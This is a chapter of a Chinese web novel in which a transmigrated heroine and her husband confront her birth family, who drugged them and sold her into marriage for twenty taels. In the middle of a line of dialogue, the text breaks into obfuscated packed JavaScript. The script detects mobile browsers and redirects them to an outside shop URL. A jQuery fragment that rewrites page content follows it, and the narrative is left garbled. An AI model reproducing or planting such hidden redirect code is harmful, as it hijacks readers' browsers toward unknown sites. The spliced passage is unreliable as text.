33. 江家村 ④

作品:《抱歉,伤害前雇主的事我手到擒来

    若说在江家的这两天,大家平安无事也就罢了,偏生他们做出下|药这种上不得台面的事。


    原身一家对原身的确是有养育之恩没错,可也是他们的疏忽才致使原身痴傻了这么多年。


    更别提,还收了钱将她嫁给别人冲喜。


    从进村时,那些村民的议论和江大头的反应就可以知晓,他们一家根本不在乎她要嫁的人是谁。


    哪怕是以为她要嫁给老太爷冲喜,也没有一点犹豫。


    为了几两碎银,就算是将女儿卖给能当她爷爷的人都没关系。


    至于那点恩情,也是对原身的,可不是对她的。


    江黎正要再开口,旁侧的谭明渊瞥了眼窗外——江大头的身影出现在院子里,正往屋子的方向走,大门口处还有几个邻居在向里观望。


    谭明渊眉头微蹙,抢先道:“先让江夫人出去吧,有什么事,等我们起身再谈。”


    江黎一想也是,她二人这样赤身裸体的在被子里与原身她娘对峙像什么样子,便道:“好。”


    江氏原本还沉浸在谭明渊那句“我谭家还用不到她做这些事”,认同自家闺女是少奶奶的喜悦之中。


    此刻一听江黎要把话说清楚,顿觉不妙。


    她眼珠子一转,立刻换了一副讨好的面孔,一屁股坐在炕沿上,脸上堆着笑,伸手就要去拉江黎的手。


    “傻丫头,娘也是为了你好,你想姑爷那是什么样的人家?有多少人想巴结都巴结不来,你这是走了大运了。”


    她见江黎避过了她的手,又转而看向谭明渊,语气愈发殷勤:


    “姑爷,你是个明事理的人,可别听这丫头胡说!她痴傻了这么多年,很多事不了解。咱们是一家人,哪有什么说不清楚的?我这就叫她爹再去杀一只鸡,炖锅鸡汤,给你们补补身体。”


    江氏起身,逃也似的往屋外走,“姑爷,她那话你可千万别往心里去啊!”


    说罢,她偷偷剜了江黎一眼,警告她别再乱讲话。


    谭明渊自始至终没有动,只在江氏要离开屋子之际,淡声道:“鸡汤?怎么江夫人,这是要再留我们一晚吗?”


    江氏步子一顿,等她转过身来,谭明渊才缓缓抬眸,他并未再多说什么,只这么看着。


    目光像淬了毒的冷箭,刺得江氏心里直发毛。


    她脸上艰难地扯出一丝笑容,“姑爷这是什么话?这也是你们的家,要住几晚都成!”


    “不必了。”江黎可不想再跟她们一家虚与委蛇下去,经谭明渊一提醒,也反应过来,“那加了料的鸡汤还是你们自己留着喝吧!”


    又冲着谭明渊道:“谭明渊,咱们今日就离开!”


    言罢,也不管江氏还是否在场,自顾自地开始穿衣服。


    江氏的脸“唰”地一下变白,眼神慌乱,像是被人当众扯了遮羞布,“你胡说什么?!加了什么料?!江翠花你别得了便宜还卖乖!那鸡汤我们都舍不得喝!”


    江黎白了她一眼,“对,你们是不敢喝!”


    江氏的脸一阵红一阵白,显然气得够呛,却是找不到为自己辩驳的话,谭明渊冷冷扫了她一眼,“江夫人,你先出去吧。”


    他语气平淡,可眼神里的疏离裹挟着厌恶。


    江氏不敢再反驳,只能狠跺了下脚,剜了江黎一眼,退出门去。


    *


    等她二人穿戴整齐,来到堂屋里,见到的景象更是叫江黎气不打一处来。


    她那只放有回门礼的大红箱子,早已被人打开。


    桌子上摆着吃到一半的蜜饯盒子,盒子后面是正在对蜜饯挑挑拣拣着吃的江小河。


    李婆子和茗竹立在一旁,眉头微蹙,眼里满是不赞同,却始终没敢上前阻拦。


    这里是大奶奶的娘家,这些人是大奶奶的亲人,没有大奶奶、大爷发话,他们可不敢擅自行动,只能眼睁睁地看着江小河把一盒好好地蜜饯扒楞的乱七八糟。


    “我是不是说过,这里面是我们的行李?”


    江黎也不再客气,直接指着大红箱子对着江氏发难。


    江氏早已忘了先前的不愉快,瞄了一眼见江黎出来也不再挑拣、胡乱抓一把蜜饯就往嘴里塞的江小河,上前帮他顺了顺背,温声嘱咐他慢些吃。


    而后,不以为意地看向江黎。


    “不过是一盒子蜜饯,孩子饿了吃了也就吃了,你这个做阔太太的姑姑还犯得着为这么点小事生气?”


    她说这话时,眼神飘向谭明渊,见他没什么反应,顿时来了劲儿,“再说,那里面的东西,我瞧着不像是行李,应该是你带回来的回门礼吧?!”


    “昨晚上我一琢磨,这嫁出去的女儿,回门哪有空手回来的道理?更别提姑爷还是这种身份的人家,果然啊,我一打开那箱子就知道了,我猜的呀,没错!”


    江氏边说,边一脸得意地往大红箱子里瞄。


    “你瞧瞧,咱姑爷就是体面!出手也大方,里面那匹锦缎可是好东西,我估摸着能换二十两银钱,下面还有几匹薄布,正好可以给你哥和小河他们做身新衣裳,等再过两个月穿出去长长脸!”


    闻言,谭明渊抬眸,眉头都没皱一下,嘴角勾起一抹讥诮,声音不高,却足以震人心魄,“江夫人,倒是计算得清楚。”


    江氏脸上的笑僵了僵,抚在江小河背上的手顿住,打起了哈哈,“姑爷说笑了,咱们都是一家人,哪里需要想那么多,再说,日后还要多亏了你们帮衬呢!”


    这时候,她手下含了满口蜜饯的江小河,也含糊不清地喊:“奶奶,那锦缎好看,我要那锦缎做的衣裳穿!”


    他又抓了一把蜜饯,举到江氏眼前,“还有这果子,你尝尝,甜滋滋的,好吃!我还要!”


    江氏被他这模样逗得合不拢嘴,“行行行,那匹锦缎给你留着做衣裳,你姑姑现在是有钱人家的太太了,你要吃什么,和你姑姑说,叫她给你买!”


    李婆子和茗竹站在一旁的角落里,眉头皱得更紧了。


    这江家的人,果然半点规矩也没有,主子的东西也敢乱翻。


    还有这江氏,卖了女儿不算,还敢这么堂而皇之地将大奶奶看做摇钱树!


    茗竹气得指尖发颤,忍不住就要上前理论一番。


    旁侧的李婆子察觉到他的动作,一把拦住,轻轻摇了摇头,低声道:


    “急什么?主子还没发话,咱们看着就是,江家人这副嘴脸,咱们今日是看清楚了,往后还是要好好护着大奶奶才是。”


    这边话音刚落,那边江氏已领了江小河的手,往谭明渊眼前送,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373651|196810||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姑爷,你瞧,小河的年纪也不小了,我听说你们城里有适合他们这个年纪的学堂。”


    她说这话时,目光一点都没有分给旁侧的江黎,只一个劲儿地盯着谭明渊,“要不……这次你们回去,把小河也带上,给他找个学堂认几个字。”


    江黎看着江氏这副嘴脸,都要被气笑了。


    原来是在这等着她呢!


    她二人在他们眼皮子底下发生这种关系,那是板上钉钉的事,谭明渊否认不得,大门口那几个探头探脑和江大头聊得热络的邻居,多半也是他们特意招来的。


    无非是要借他们的嘴,把她二人这段关系做实,叫谭明渊抵赖不得。


    “行啊,我们院里还差个清理恭桶的小子,小河去了正好能顶上。”江黎双手环胸,没好气地瞟了一眼江氏。


    茗竹听见自家大奶奶冷不丁冒出这么一句话,憋不住要笑出声来。


    “你说的没错,那箱子里的是准备的回门礼。”江黎扫了眼敞开被翻得乌七八糟的红箱子,话锋一转,“可我记得,当时你们是收了银子将我卖给谭家的吧。”


    江黎瞥了眼谭明渊,转而盯着江氏,不顾她难看的脸色继续说:“这卖女儿,和嫁女儿可是两回事。”


    “你若是想留下这箱子东西,就把当时收谭家的钱吐出来!”


    江黎已经看清楚,这一家子人,叫他们收银两简单,让他们吐出来那可是比登天还难。


    她盯着江氏纠结得一阵青一阵白的脸,再添了一把火,“江夫人,做人呢,不能既要又要,你得做出取舍才是!”


    江氏没觉察到她称呼的变化,犹豫再三,将全部希望寄托于谭明渊身上。


    “姑爷,那二十两银钱已花了不少了,一时半会儿还真凑不齐。这样,小河这孩子机灵,您把小河带回去念书,日后还能给您当个帮手,再者咱们还是一家人不是?”


    “二十两?”谭明渊喃喃着重复一遍,“在你们眼里,她只值二十两?”


    他偏头看向江黎。


    已然明白。


    这一切都是他二叔一家和江黎父母联手布下的好计。


    他二叔打的是什么算盘,他一早就清楚。


    借着江黎的痴傻,羞辱他不说。


    既断了他原本的婚约,又让他娶了个毫无根基的妻子!


    还能顺理成章的将原本属于他的亲事,推给他们的宝贝儿子。


    他们要的不止是他娶一个痴傻女子,被人耻笑一辈子。


    更是要他堂哥踩着他的肩膀,娶高门贵女,坐稳谭家继承人的位置!


    而江黎,于她江家而言……


    想到这里,谭明渊看向江氏,冷笑出声,那声音极轻,却带着慑人的戾气,震得江氏抓得江小河的手背发白,惊呼出声:“奶奶你弄疼我了!”


    江氏连忙借查看江小河的状态,别过眼,低下头。


    “好,好得很。”谭明渊一字一顿,“二叔也是舍得下本了,区区二十两银子就要买断一个姑娘的一生,也……”


    他后面的话没有说出口,可江黎却已然明白他的意思。


    二十两银子,买断了她的一生,也买断了谭明渊的前程。


    不过好在,她穿过来了。


    这一切,还有转圜的余地!